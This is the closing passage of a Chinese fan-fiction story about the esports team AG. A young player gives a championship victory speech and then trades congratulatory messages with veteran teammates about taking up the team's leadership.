他顿了顿:“这个赛季,很多人说AG完了,说一诺老了,说Cat退了,说我们太年轻。但我们用这个冠军证明——AG没有完,一诺没有老,Cat没有退,我们——也没有太年轻。” 他举起奖杯:“这是AG的第二个冠军,但不会是最后一个。因为我们五个人,就是AG的未来。只要我们还在,AG就永远在。” 全场爆发出山呼海啸般的欢呼。 金色的雨继续飘落。 长生抬头看着那些飘落的金片,忽然想起了2019年,他刚进青训营时,看到一诺夺冠的那个夜晚。 那时的他,以为冠军遥不可及。 现在的他,知道冠军就在手中。 这就是传承。 这就是希望。 这就是——荣光再临。 --- 深夜,庆功宴现场。 长生端着酒杯,站在窗边,看着深圳湾的夜景。身后是喧闹的庆祝声,身前是宁静的海湾。 手机震动,是一诺发来的消息:“恭喜。你现在,是真正的冠军了。” 长生盯着那条消息,很久。 然后他回复:“诺哥,这个冠军,是你的。我只是替你,把它拿回来了。” “不。”一诺回复,“这个冠军,是你的。是你,是轩染,是钟意,是大帅,是云黎——是你们五个人的。我为你骄傲,为AG骄傲。” 长生眼眶一热。 手机又震动,是Cat发来的消息:“打得很好。现在,你是AG的领袖了。担子很重,但我知道你能扛起来。” 长生回复:“Cat哥,我会的。我会带着AG,继续走下去。走到更远的地方,拿到更多的冠军。” 发送。 他关掉手机,看向窗外。 深圳湾的夜景很美,灯火倒映在海面上,像流动的星河。 他知道,从今天起,他肩上的担子更重了。因为他不仅是AG的中单,不仅是AG的指挥,还是AG的队长,是AG的领袖。 他要带着这支年轻的队伍,继续征战,继续成长,继续——传承。 窗外的海风很温柔。 像祝福,像期许,像——新时代的序曲。 而他们,刚刚奏响了第一个音符。 荣光再临。 传承永续。 AG,永远在路上。 【第二十四章·完】 全文终